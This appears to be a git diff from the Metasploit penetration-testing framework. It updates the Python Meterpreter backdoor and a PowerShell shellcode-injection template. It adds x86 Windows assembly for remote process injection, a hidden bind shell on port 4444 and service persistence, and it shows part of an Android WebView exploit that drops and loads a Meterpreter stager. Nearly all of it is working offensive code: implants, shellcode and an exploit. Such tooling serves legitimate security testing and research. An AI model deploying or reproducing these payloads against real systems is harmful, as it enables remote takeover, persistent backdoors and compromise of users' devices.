self.data_lock.acquire()
|
||||
data = self.peek(l)
|
||||
self.data = self.data[len(data):]
|
||||
self.data_lock.release()
|
||||
return data
|
||||
|
||||
|
@ -236,12 +257,25 @@ class STDProcessBuffer(threading.Thread):
|
|||
class STDProcess(subprocess.Popen):
|
||||
def __init__(self, *args, **kwargs):
|
||||
subprocess.Popen.__init__(self, *args, **kwargs)
|
||||
self.echo_protection = False
|
||||
|
||||
def start(self):
|
||||
self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None)
|
||||
self.stdout_reader.start()
|
||||
self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
|
||||
self.stderr_reader.start()
|
||||
|
||||
def write(self, channel_data):
|
||||
self.stdin.write(channel_data)
|
||||
self.stdin.flush()
|
||||
if self.echo_protection:
|
||||
end_time = time.time() + 0.5
|
||||
out_data = bytes()
|
||||
while (time.time() < end_time) and (out_data != channel_data):
|
||||
if self.stdout_reader.is_read_ready():
|
||||
out_data = self.stdout_reader.peek(len(channel_data))
|
||||
if out_data == channel_data:
|
||||
self.stdout_reader.read(len(channel_data))
|
||||
export(STDProcess)
|
||||
|
||||
class PythonMeterpreter(object):
|
||||
|
@ -251,7 +285,7 @@ class PythonMeterpreter(object):
|
|||
self.channels = {}
|
||||
self.interact_channels = []
|
||||
self.processes = {}
|
||||
for func in filter(lambda x: x.startswith('_core'), dir(self)):
|
||||
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
|
||||
self.extension_functions[func[1:]] = getattr(self, func)
|
||||
self.running = True
|
||||
|
||||
|
@ -265,6 +299,7 @@ class PythonMeterpreter(object):
|
|||
return func
|
||||
|
||||
def add_channel(self, channel):
|
||||
assert(isinstance(channel, (subprocess.Popen, MeterpreterFile, MeterpreterSocket)))
|
||||
idx = 0
|
||||
while idx in self.channels:
|
||||
idx += 1
|
||||
|
@ -286,7 +321,7 @@ class PythonMeterpreter(object):
|
|||
break
|
||||
req_length, req_type = struct.unpack('>II', request)
|
||||
req_length -= 8
|
||||
request = ''
|
||||
request = bytes()
|
||||
while len(request) < req_length:
|
||||
request += self.socket.recv(4096)
|
||||
response = self.create_response(request)
|
||||
|
@ -294,17 +329,17 @@ class PythonMeterpreter(object):
|
|||
else:
|
||||
channels_for_removal = []
|
||||
# iterate over the keys because self.channels could be modified if one is closed
|
||||
channel_ids = self.channels.keys()
|
||||
channel_ids = list(self.channels.keys())
|
||||
for channel_id in channel_ids:
|
||||
channel = self.channels[channel_id]
|
||||
data = ''
|
||||
data = bytes()
|
||||
if isinstance(channel, STDProcess):
|
||||
if not channel_id in self.interact_channels:
|
||||
continue
|
||||
if channel.stdout_reader.is_read_ready():
|
||||
data = channel.stdout_reader.read()
|
||||
elif channel.stderr_reader.is_read_ready():
|
||||
if channel.stderr_reader.is_read_ready():
|
||||
data = channel.stderr_reader.read()
|
||||
elif channel.stdout_reader.is_read_ready():
|
||||
data = channel.stdout_reader.read()
|
||||
elif channel.poll() != None:
|
||||
self.handle_dead_resource_channel(channel_id)
|
||||
elif isinstance(channel, MeterpreterSocketClient):
|
||||
|
@ -312,7 +347,7 @@ class PythonMeterpreter(object):
|
|||
try:
|
||||
d = channel.recv(1)
|
||||
except socket.error:
|
||||
d = ''
|
||||
d = bytes()
|
||||
if len(d) == 0:
|
||||
self.handle_dead_resource_channel(channel_id)
|
||||
break
|
||||
|
@ -357,13 +392,13 @@ class PythonMeterpreter(object):
|
|||
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
|
||||
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
|
||||
return ERROR_FAILURE
|
||||
preloadlib_methods = self.extension_functions.keys()
|
||||
preloadlib_methods = list(self.extension_functions.keys())
|
||||
symbols_for_extensions = {'meterpreter':self}
|
||||
symbols_for_extensions.update(EXPORTED_SYMBOLS)
|
||||
i = code.InteractiveInterpreter(symbols_for_extensions)
|
||||
i.runcode(compile(data_tlv['value'], '', 'exec'))
|
||||
postloadlib_methods = self.extension_functions.keys()
|
||||
new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods)
|
||||
postloadlib_methods = list(self.extension_functions.keys())
|
||||
new_methods = list(filter(lambda x: x not in preloadlib_methods, postloadlib_methods))
|
||||
for method in new_methods:
|
||||
response += tlv_pack(TLV_TYPE_METHOD, method)
|
||||
return ERROR_SUCCESS, response
|
||||
|
@ -386,10 +421,10 @@ class PythonMeterpreter(object):
|
|||
if channel_id not in self.channels:
|
||||
return ERROR_FAILURE, response
|
||||
channel = self.channels[channel_id]
|
||||
if isinstance(channel, file):
|
||||
channel.close()
|
||||
elif isinstance(channel, subprocess.Popen):
|
||||
if isinstance(channel, subprocess.Popen):
|
||||
channel.kill()
|
||||
elif isinstance(channel, MeterpreterFile):
|
||||
channel.close()
|
||||
elif isinstance(channel, MeterpreterSocket):
|
||||
channel.close()
|
||||
else:
|
||||
|
@ -405,7 +440,7 @@ class PythonMeterpreter(object):
|
|||
return ERROR_FAILURE, response
|
||||
channel = self.channels[channel_id]
|
||||
result = False
|
||||
if isinstance(channel, file):
|
||||
if isinstance(channel, MeterpreterFile):
|
||||
result = channel.tell() >= os.fstat(channel.fileno()).st_size
|
||||
response += tlv_pack(TLV_TYPE_BOOL, result)
|
||||
return ERROR_SUCCESS, response
|
||||
|
@ -432,13 +467,13 @@ class PythonMeterpreter(object):
|
|||
return ERROR_FAILURE, response
|
||||
channel = self.channels[channel_id]
|
||||
data = ''
|
||||
if isinstance(channel, file):
|
||||
data = channel.read(length)
|
||||
elif isinstance(channel, STDProcess):
|
||||
if isinstance(channel, STDProcess):
|
||||
if channel.poll() != None:
|
||||
self.handle_dead_resource_channel(channel_id)
|
||||
if channel.stdout_reader.is_read_ready():
|
||||
data = channel.stdout_reader.read(length)
|
||||
elif isinstance(channel, MeterpreterFile):
|
||||
data = channel.read(length)
|
||||
elif isinstance(channel, MeterpreterSocket):
|
||||
data = channel.recv(length)
|
||||
else:
|
||||
|
@ -454,13 +489,13 @@ class PythonMeterpreter(object):
|
|||
return ERROR_FAILURE, response
|
||||
channel = self.channels[channel_id]
|
||||
l = len(channel_data)
|
||||
if isinstance(channel, file):
|
||||
channel.write(channel_data)
|
||||
elif isinstance(channel, subprocess.Popen):
|
||||
if isinstance(channel, subprocess.Popen):
|
||||
if channel.poll() != None:
|
||||
self.handle_dead_resource_channel(channel_id)
|
||||
return ERROR_FAILURE, response
|
||||
channel.stdin.write(channel_data)
|
||||
channel.write(channel_data)
|
||||
elif isinstance(channel, MeterpreterFile):
|
||||
channel.write(channel_data)
|
||||
elif isinstance(channel, MeterpreterSocket):
|
||||
try:
|
||||
l = channel.send(channel_data)
|
||||
|
@ -485,13 +520,17 @@ class PythonMeterpreter(object):
|
|||
if handler_name in self.extension_functions:
|
||||
handler = self.extension_functions[handler_name]
|
||||
try:
|
||||
#print("[*] running method {0}".format(handler_name))
|
||||
if DEBUGGING:
|
||||
print('[*] running method ' + handler_name)
|
||||
result, resp = handler(request, resp)
|
||||
except Exception, err:
|
||||
#print("[-] method {0} resulted in an error".format(handler_name))
|
||||
except Exception:
|
||||
if DEBUGGING:
|
||||
print('[-] method ' + handler_name + ' resulted in an error')
|
||||
traceback.print_exc(file=sys.stderr)
|
||||
result = ERROR_FAILURE
|
||||
else:
|
||||
#print("[-] method {0} was requested but does not exist".format(handler_name))
|
||||
if DEBUGGING:
|
||||
print('[-] method ' + handler_name + ' was requested but does not exist')
|
||||
result = ERROR_FAILURE
|
||||
resp += tlv_pack(TLV_TYPE_RESULT, result)
|
||||
resp = struct.pack('>I', len(resp) + 4) + resp
|
||||
|
@ -499,6 +538,9 @@ class PythonMeterpreter(object):
|
|||
|
||||
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
|
||||
if hasattr(os, 'setsid'):
|
||||
os.setsid()
|
||||
try:
|
||||
os.setsid()
|
||||
except OSError:
|
||||
pass
|
||||
met = PythonMeterpreter(s)
|
||||
met.run()
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -11,10 +11,10 @@ $%{var_win32_func} = Add-Type -memberDefinition $%{var_syscode} -Name "Win32" -n
|
|||
|
||||
%{shellcode}
|
||||
|
||||
$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,0x1000,[Math]::Max($%{var_code}.Length, 0x1000),0x40)
|
||||
$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,[Math]::Max($%{var_code}.Length,0x1000),0x3000,0x40)
|
||||
|
||||
for ($%{var_iter}=0;$%{var_iter} -le ($%{var_code}.Length-1);$%{var_iter}++) {
|
||||
$%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1) | Out-Null
|
||||
$%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1) | Out-Null
|
||||
}
|
||||
|
||||
$%{var_win32_func}::CreateThread(0,0,$%{var_rwx},0,0,0)
|
||||
|
|
|
@ -10,7 +10,7 @@
|
|||
height: 480px;
|
||||
width: 640px;
|
||||
border-radius: 15px;
|
||||
-moz-border-raidus: 15px;
|
||||
-moz-border-radius: 15px;
|
||||
background-color: black;
|
||||
position: absolute;
|
||||
left: 50;
|
||||
|
@ -26,7 +26,7 @@
|
|||
height: 180px;
|
||||
width: 200px;
|
||||
border-radius: 15px;
|
||||
-moz-border-raidus: 15px;
|
||||
-moz-border-radius: 15px;
|
||||
background-color: #9B9B9B;
|
||||
position: absolute;
|
||||
top: 480;
|
||||
|
@ -66,8 +66,9 @@
|
|||
left: 10;
|
||||
}
|
||||
</style>
|
||||
<script src="=WEBRTCAPIJS="> </script>
|
||||
<script>
|
||||
=WEBRTCAPIJS=
|
||||
|
||||
window.onerror = function(e) {
|
||||
document.getElementById("message").innerHTML = "Error: " + e.toString();
|
||||
}
|
||||
|
|
|
@ -2,6 +2,10 @@
|
|||
<head>
|
||||
<title>Video session</title>
|
||||
<style type="text/css">
|
||||
body {
|
||||
background: #fff;
|
||||
}
|
||||
|
||||
div.dot1 {
|
||||
position: absolute;
|
||||
width: 20px;
|
||||
|
@ -84,8 +88,9 @@
|
|||
}
|
||||
</style>
|
||||
|
||||
<script src="api.js"> </script>
|
||||
<script>
|
||||
=WEBRTCAPIJS=
|
||||
|
||||
var channel = '=CHANNEL=';
|
||||
var websocket = new WebSocket('ws://=SERVER=');
|
||||
|
||||
|
@ -136,10 +141,12 @@
|
|||
};
|
||||
|
||||
window.onload = function() {
|
||||
getUserMedia(function(stream) {
|
||||
peer.addStream(stream);
|
||||
peer.startBroadcasting();
|
||||
});
|
||||
setTimeout(function(){
|
||||
getUserMedia(function(stream) {
|
||||
peer.addStream(stream);
|
||||
peer.startBroadcasting();
|
||||
});
|
||||
}, 500);
|
||||
};
|
||||
|
||||
function getUserMedia(callback) {
|
||||
|
|
82
external/source/shellcode/windows/x86/src/block/block_create_remote_process.asm
vendored
Normal file
82
external/source/shellcode/windows/x86/src/block/block_create_remote_process.asm
vendored
Normal file
|
@ -0,0 +1,82 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: agix (florian.gaultier[at]gmail[dot]com)
|
||||
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
|
||||
; Size: 307 bytes
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
[BITS 32]
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
|
||||
xor edi, edi
|
||||
push 0x00000004 ;PAGE_READWRITE
|
||||
push 0x00001000 ;MEM_COMMIT
|
||||
push 0x00000054 ;STARTUPINFO+PROCESS_INFORMATION
|
||||
push edi
|
||||
push 0xE553A458 ;call VirtualAlloc()
|
||||
call ebp
|
||||
|
||||
mov dword [eax], 0x44
|
||||
lea esi, [eax+0x44]
|
||||
push edi
|
||||
push 0x6578652e
|
||||
push 0x32336c6c
|
||||
push 0x646e7572
|
||||
mov ecx, esp ;"rundll32.exe"
|
||||
push esi ;lpProcessInformation
|
||||
push eax ;lpStartupInfo
|
||||
push edi ;lpCurrentDirectory
|
||||
push edi ;lpEnvironment
|
||||
push 0x00000044 ;dwCreationFlags
|
||||
push edi ;bInheritHandles
|
||||
push edi ;lpThreadAttributes
|
||||
push edi ;lpProcessAttributes
|
||||
push ecx ;lpCommandLine
|
||||
push edi ;lpApplicationName
|
||||
push 0x863FCC79
|
||||
call ebp ;call CreatProcessA()
|
||||
|
||||
mov ecx, [esi]
|
||||
push 0x00000040 ;PAGE_EXECUTE_READWRITE
|
||||
push 0x00001000 ;MEM_COMMIT
|
||||
push 0x00001000 ;Next Shellcode Size
|
||||
push edi
|
||||
push ecx ;hProcess
|
||||
push 0x3F9287AE ;call VirtualAllocEx()
|
||||
call ebp
|
||||
|
||||
call me2
|
||||
me2:
|
||||
pop edx
|
||||
|
||||
mov edi, eax
|
||||
mov ecx, [esi]
|
||||
add dword edx, 0x112247 ;pointer on the next shellcode
|
||||
push esp
|
||||
push 0x00001000 ;Next Shellcode Size
|
||||
push edx ;
|
||||
push eax ;lBaseAddress
|
||||
push ecx ;hProcess
|
||||
push 0xE7BDD8C5
|
||||
call ebp ;call WriteProcessMemory()
|
||||
|
||||
xor eax, eax
|
||||
mov ecx, [esi]
|
||||
push eax ;lpThreadId
|
||||
push eax ;dwCreationFlags
|
||||
push eax ;lpParameter
|
||||
push edi ;lpStartAddress
|
||||
push eax ;dwStackSize
|
||||
push eax ;lpThreadAttributes
|
||||
push ecx ;hProcess
|
||||
push 0x799AACC6
|
||||
call ebp ;call CreateRemoteThread()
|
||||
|
||||
mov ecx, [esi]
|
||||
push ecx
|
||||
push 0x528796C6
|
||||
call ebp ;call CloseHandle()
|
||||
|
||||
mov ecx, [esi+0x4]
|
||||
push ecx
|
||||
push 0x528796C6
|
||||
call ebp ;call CloseHandle()
|
|
@ -0,0 +1,91 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Original Shellcode: Stephen Fewer (stephen_fewer@harmonysecurity.com)
|
||||
; Modified version to add Hidden ACL support: Borja Merino (bmerinofe@gmail.com)
|
||||
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
|
||||
; Version: 1.0 (February 2014)
|
||||
;-----------------------------------------------------------------------------;
|
||||
[BITS 32]
|
||||
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Output: EDI will be the newly connected clients socket
|
||||
; Clobbers: EAX, EBX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
|
||||
bind_tcp:
|
||||
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||
push 0x5F327377 ; ...
|
||||
push esp ; Push a pointer to the "ws2_32" string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "ws2_32" )
|
||||
|
||||
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
|
||||
sub esp, eax ; alloc some space for the WSAData structure
|
||||
push esp ; push a pointer to this stuct
|
||||
push eax ; push the wVersionRequested parameter
|
||||
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
|
||||
call ebp ; WSAStartup( 0x0190, &WSAData );
|
||||
|
||||
push eax ; if we succeed, eax wil be zero, push zero for the flags param.
|
||||
push eax ; push null for reserved parameter
|
||||
push eax ; we do not specify a WSAPROTOCOL_INFO structure
|
||||
push eax ; we do not specify a protocol
|
||||
inc eax ;
|
||||
push eax ; push SOCK_STREAM
|
||||
inc eax ;
|
||||
push eax ; push AF_INET
|
||||
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
|
||||
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
|
||||
|
||||
xor ebx, ebx ; Clear EBX
|
||||
push ebx ; bind to 0.0.0.0
|
||||
push 0x5C110002 ; family AF_INET and port 4444
|
||||
mov esi, esp ; save a pointer to sockaddr_in struct
|
||||
push byte 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused)
|
||||
push esi ; pointer to the sockaddr_in struct
|
||||
push edi ; socket
|
||||
push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
|
||||
call ebp ; bind( s, &sockaddr_in, 16 );
|
||||
|
||||
; Hidden ACL Support ----------
|
||||
|
||||
push 0x1 ; size, in bytes, of the buffer pointed to by the "optval" parameter
|
||||
push esp ; optval: pointer to the buffer in which the value for the requested option is specified
|
||||
push 0x3002 ; level at which the option is defined: SOL_SOCKET
|
||||
push 0xFFFF ; the socket option for which the value is to be set: SO_CONDITIONAL_ACCEPT
|
||||
push edi ; socket descriptor
|
||||
push 0x2977A2F1 ; hash( "ws2_32.dll", "setsockopt" )
|
||||
call ebp ; setsockopt(s, SOL_SOCKET, SO_CONDITIONAL_ACCEPT, &bOptVal, 1 );
|
||||
|
||||
push ebx ; backlog
|
||||
push edi ; socket
|
||||
push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
|
||||
call ebp ; listen( s, 0 );
|
||||
|
||||
condition:
|
||||
push ebx ; dwCallbackData (ebx = 0, no data needed for the condition function)
|
||||
call wsaaccept ; push the start of the condition function on the stack
|
||||
mov eax, DWORD [esp+4] ;
|
||||
mov eax, DWORD [eax+4] ;
|
||||
mov eax, DWORD [eax+4] ; get the client IP returned in the stack
|
||||
sub eax, 0x2101A8C0 ; compare the client IP with the IP allowed
|
||||
jz return ; if equal returns CF_ACCEPT
|
||||
xor eax, eax ; If not equal, the condition function returns CF_REJECT
|
||||
inc eax
|
||||
return:
|
||||
retn 0x20 ; some stack alignment needed to return to mswsock
|
||||
|
||||
wsaaccept:
|
||||
push ebx ; length of the sockaddr = nul
|
||||
push ebx ; struct sockaddr = nul
|
||||
push edi ; socket descriptor
|
||||
push 0x33BEAC94 ; hash( "ws2_32.dll", "wsaaccept" )
|
||||
call ebp ; wsaaccept( s, 0, 0, &fnCondition, 0)
|
||||
inc eax
|
||||
jz condition ; if error (eax = -1) jump to condition function to wait for another connection
|
||||
dec eax
|
||||
|
||||
push edi ; push the listening socket to close
|
||||
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
|
||||
push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
|
||||
call ebp ; closesocket( s );
|
||||
|
|
@ -0,0 +1,64 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: agix (florian.gaultier[at]gmail[dot]com)
|
||||
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
|
||||
; Size: 448 bytes
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
[BITS 32]
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
|
||||
push byte 0x0
|
||||
push 0x32336970
|
||||
push 0x61766461
|
||||
push esp
|
||||
push 0x726774c
|
||||
call ebp ;load advapi32.dll
|
||||
push 0x00454349
|
||||
push 0x56524553
|
||||
mov ecx, esp ;ServiceTableEntry.SVCNAME
|
||||
lea eax, [ebp+0xd0];ServiceTableEntry.SvcMain
|
||||
push 0x00000000
|
||||
push eax
|
||||
push ecx
|
||||
mov eax,esp
|
||||
push 0x00000000
|
||||
push eax
|
||||
push 0xCB72F7FA
|
||||
call ebp ;call StartServiceCtrlDispatcherA(ServiceTableEntry)
|
||||
push 0x00000000
|
||||
push 0x56A2B5F0
|
||||
call ebp ;call ExitProcess(0)
|
||||
pop eax ;SvcCtrlHandler
|
||||
pop eax
|
||||
pop eax
|
||||
pop eax
|
||||
xor eax,eax
|
||||
ret
|
||||
cld ;SvcMain
|
||||
call me
|
||||
me:
|
||||
pop ebp
|
||||
sub ebp, 0xd6 ;ebp => hashFunction
|
||||
push 0x00464349
|
||||
push 0x56524553
|
||||
mov ecx, esp ;SVCNAME
|
||||
lea eax, [ebp+0xc9];SvcCtrlHandler
|
||||
push 0x00000000
|
||||
push eax
|
||||
push ecx
|
||||
push 0x5244AA0B
|
||||
call ebp ;RegisterServiceCtrlHandlerExA
|
||||
push 0x00000000
|
||||
push 0x00000000
|
||||
push 0x00000000
|
||||
push 0x00000000
|
||||
push 0x00000000
|
||||
push 0x00000000
|
||||
push 0x00000004
|
||||
push 0x00000010
|
||||
mov ecx, esp
|
||||
push 0x00000000
|
||||
push ecx
|
||||
push eax
|
||||
push 0x7D3755C6
|
||||
call ebp ;SetServiceStatus RUNNING
|
41
external/source/shellcode/windows/x86/src/block/block_service_change_description.asm
vendored
Normal file
41
external/source/shellcode/windows/x86/src/block/block_service_change_description.asm
vendored
Normal file
|
@ -0,0 +1,41 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: agix (florian.gaultier[at]gmail[dot]com)
|
||||
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
|
||||
; Size: 448 bytes
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
[BITS 32]
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
|
||||
push 0x000F003F
|
||||
push 0x00000000
|
||||
push 0x00000000
|
||||
push 0x7636F067
|
||||
call ebp ;OpenSCManagerA
|
||||
mov edi, eax
|
||||
push 0x00464349
|
||||
push 0x56524553
|
||||
mov ecx, esp ;SVCNAME
|
||||
push 0x000F01FF
|
||||
push ecx
|
||||
push eax
|
||||
push 0x404B2856
|
||||
call ebp ;OpenServiceA
|
||||
mov esi, eax
|
||||
push 0x00464349
|
||||
push 0x56524553
|
||||
mov ecx, esp
|
||||
push 0x00000000
|
||||
push ecx
|
||||
mov ecx, esp ;SVCDESCRIPTION
|
||||
push ecx
|
||||
push 0x00000001 ;SERVICE_CONFIG_DESCRIPTION
|
||||
push eax
|
||||
push 0xED35B087
|
||||
call ebp ;ChangeServiceConfig2A
|
||||
push esi
|
||||
push 0xAD77EADE ;CloseServiceHandle
|
||||
call ebp
|
||||
push edi
|
||||
push 0xAD77EADE ;CloseServiceHandle
|
||||
call ebp
|
|
@ -0,0 +1,45 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: agix (florian.gaultier[at]gmail[dot]com)
|
||||
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
|
||||
; Size: 448 bytes
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
[BITS 32]
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
|
||||
call me3
|
||||
me3:
|
||||
pop edi
|
||||
jmp 0x7
|
||||
pop eax
|
||||
pop eax
|
||||
pop eax
|
||||
pop eax
|
||||
xor eax,eax
|
||||
ret
|
||||
push 0x00464349
|
||||
push 0x56524553
|
||||
mov ecx, esp ;SVCNAME
|
||||
lea eax, [edi+0x3];SvcCtrlHandler
|
||||
push 0x00000000
|
||||
push eax
|
||||
push ecx
|
||||
push 0x5244AA0B
|
||||
call ebp ;RegisterServiceCtrlHandlerExA
|
||||
push 0x00000000
|
||||
push 0x00000000
|
||||
push 0x00000000
|
||||
push 0x00000000
|
||||
push 0x00000000
|
||||
push 0x00000000
|
||||
push 0x00000001
|
||||
push 0x00000010
|
||||
mov ecx, esp
|
||||
push 0x00000000
|
||||
push ecx
|
||||
push eax
|
||||
push 0x7D3755C6
|
||||
call ebp ;SetServiceStatus RUNNING
|
||||
push 0x0
|
||||
push 0x56a2b5f0
|
||||
call ebp ;ExitProcess
|
16
external/source/shellcode/windows/x86/src/single/single_create_remote_process.asm
vendored
Normal file
16
external/source/shellcode/windows/x86/src/single/single_create_remote_process.asm
vendored
Normal file
|
@ -0,0 +1,16 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: agix (florian.gaultier[at]gmail[dot]com)
|
||||
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
|
||||
; Size: 307 bytes
|
||||
; Build: >build.py single_create_remote_process
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
%include "./src/block/block_api.asm"
|
||||
start: ;
|
||||
pop ebp ; pop off the address of 'api_call' for calling later.
|
||||
%include "./src/block/block_create_remote_process.asm"
|
|
@ -0,0 +1,23 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: agix (florian.gaultier[at]gmail[dot]com)
|
||||
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
|
||||
; Size: 448 bytes
|
||||
; Build: >build.py single_service_stuff
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
%include "./src/block/block_api.asm"
|
||||
start: ;
|
||||
pop ebp ; pop off the address of 'api_call' for calling later.
|
||||
%include "./src/block/block_service.asm"
|
||||
%include "./src/block/block_service_change_description.asm"
|
||||
%include "./src/block/block_create_remote_process.asm"
|
||||
%include "./src/block/block_service_stopped.asm"
|
||||
|
||||
push edi
|
||||
push 0x56A2B5F0
|
||||
call ebp ;call ExitProcess(0)
|
20
external/source/shellcode/windows/x86/src/single/single_shell_hidden_bind_tcp.asm
vendored
Normal file
20
external/source/shellcode/windows/x86/src/single/single_shell_hidden_bind_tcp.asm
vendored
Normal file
|
@ -0,0 +1,20 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
|
||||
; Version: 1.0 (28 July 2009)
|
||||
; Size: 341 bytes
|
||||
; Build: >build.py single_shell_bind_tcp
|
||||
;-----------------------------------------------------------------------------;
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
%include "./src/block/block_api.asm"
|
||||
start: ;
|
||||
pop ebp ; Pop off the address of 'api_call' for calling later.
|
||||
%include "./src/block/block_hidden_bind_tcp.asm"
|
||||
; By here we will have performed the bind_tcp connection and EDI will be out socket.
|
||||
%include "./src/block/block_shell.asm"
|
||||
; Finish up with the EXITFUNK.
|
||||
%include "./src/block/block_exitfunk.asm"
|
|
@ -678,7 +678,7 @@ class DBManager
|
|||
union.or(condition)
|
||||
}
|
||||
|
||||
query = query.where(unioned_conditions).uniq
|
||||
query = query.where(unioned_conditions).to_a.uniq { |m| m.fullname }
|
||||
end
|
||||
|
||||
query
|
||||
|
|
|
@ -0,0 +1,101 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
module Exploit::Android
|
||||
|
||||
# Since the NDK stager is used, arch detection must be performed
|
||||
SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE, ARCH_X86 ]
|
||||
|
||||
# Most android devices are ARM
|
||||
DEFAULT_ARCH = ARCH_ARMLE
|
||||
|
||||
# Some of the default NDK build targets are named differently than
|
||||
# msf's builtin constants. This mapping allows the ndkstager file
|
||||
# to be looked up from the msf constant.
|
||||
NDK_FILES = {
|
||||
ARCH_ARMLE => 'armeabi',
|
||||
ARCH_MIPSLE => 'mips'
|
||||
}
|
||||
|
||||
def add_javascript_interface_exploit_js(arch)
|
||||
stagename = Rex::Text.rand_text_alpha(5)
|
||||
script = %Q|
|
||||
function exec(runtime, cmdArr) {
|
||||
var ch = 0;
|
||||
var output = '';
|
||||
var process = runtime.exec(cmdArr);
|
||||
var input = process.getInputStream();
|
||||
|
||||
while ((ch = input.read()) > 0) { output += String.fromCharCode(ch); }
|
||||
return output;
|
||||
}
|
||||
|
||||
function attemptExploit(obj) {
|
||||
// ensure that the object contains a native interface
|
||||
try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
|
||||
|
||||
// get the pid
|
||||
var pid = obj.getClass()
|
||||
.forName('android.os.Process')
|
||||
.getMethod('myPid', null)
|
||||
.invoke(null, null);
|
||||
|
||||
// get the runtime so we can exec
|
||||
var runtime = obj.getClass()
|
||||
.forName('java.lang.Runtime')
|
||||
.getMethod('getRuntime', null)
|
||||
.invoke(null, null);
|
||||
|
||||
// libraryData contains the bytes for a native shared object built via NDK
|
||||
// which will load the "stage", which in this case is our android meterpreter stager.
|
||||
// LibraryData is loaded via ajax later, because we have to access javascript in
|
||||
// order to detect what arch we are running.
|
||||
var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}";
|
||||
|
||||
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
|
||||
// another stager which loads android meterpreter from the msf handler.
|
||||
var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}";
|
||||
|
||||
// get the process name, which will give us our data path
|
||||
// $PPID does not seem to work on android 4.0, so we concat pids manually
|
||||
var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
|
||||
|
||||
var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
|
||||
var stagePath = path + '/#{stagename}.apk';
|
||||
|
||||
// build the library and chmod it
|
||||
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor();
|
||||
runtime.exec(['chmod', '700', libraryPath]).waitFor();
|
||||
|
||||
// build the stage, chmod it, and load it
|
||||
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor();
|
||||
runtime.exec(['chmod', '700', stagePath]).waitFor();
|
||||
|
||||
// load the library
|
||||
runtime.load(libraryPath);
|
||||
|
||||
// delete dropped files
|
||||
